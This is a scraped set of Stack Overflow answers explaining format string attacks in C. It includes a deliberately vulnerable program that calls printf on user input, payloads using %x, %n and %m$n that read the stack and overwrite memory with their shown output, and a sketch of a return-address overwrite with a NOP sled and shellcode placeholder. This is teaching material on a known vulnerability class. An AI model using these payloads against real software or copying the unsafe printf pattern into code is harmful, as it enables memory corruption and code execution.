printf cannot write anywhere without using the %n format specifier. This is the one you're missing. Something like %.987654d%n will write the number 987654 (the number of characters output so far) to an address specified by the second argument, where the first argument is an int. This should be enough to get you started.
c - How to write value into an address in format string attack - Stack Overflow
c - How can a Format-String vulnerability be exploited? - Stack Overflow
Confused about format string vulnerability explanation
c - Overwrite return address simple format string exploit - Stack Overflow
printf cannot write anywhere without using the %n format specifier. This is the one you're missing. Something like %.987654d%n will write the number 987654 (the number of characters output so far) to an address specified by the second argument, where the first argument is an int. This should be enough to get you started.
you should specify wich offset of the stack to write in with the %n formatter like %[offset]\$n
example : %23\$n
be sure to correctly get the right address by cheking the result of \xdd\xcc\xbb\xaa_%54321x_%[offset]\$x" this can be done with python or bash script
you should retrieve the address aabbccdd
You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:
"%200$p"
to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).
However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.
* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.
In the book the art of exploitation, I am confused as to why 4 bytes have to added after the memory address, before writing to the next address. It's in the exploitation chapter
Another idea is to use the dollar sign: %<distance>$n.
Quoting from Linux's printf manpage:
One can also specify explicitly which argument is taken, at each place where an argument is required, by writing "%m$". Where the decimal integer m denotes the position in the argument list of the desired argument, indexed starting from 1. Source
Example: %5$n would write to the 5th address from the top of the stack.
I suggest you use a long string of '%08x' format characters to figure out the correct '%n' value in the input such that it overwrites the return address.
12345%n%08x%08x%08x%08x........%08x%08x
Next you can modify your input replacing a part of the'%08x' string with NOP sled + shellcode keeping the length of the input same.
12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE
(Modify %n format specifier above as required to write a correct value)
This will ensure the size of the input and hence the location of the saved return address remains the same.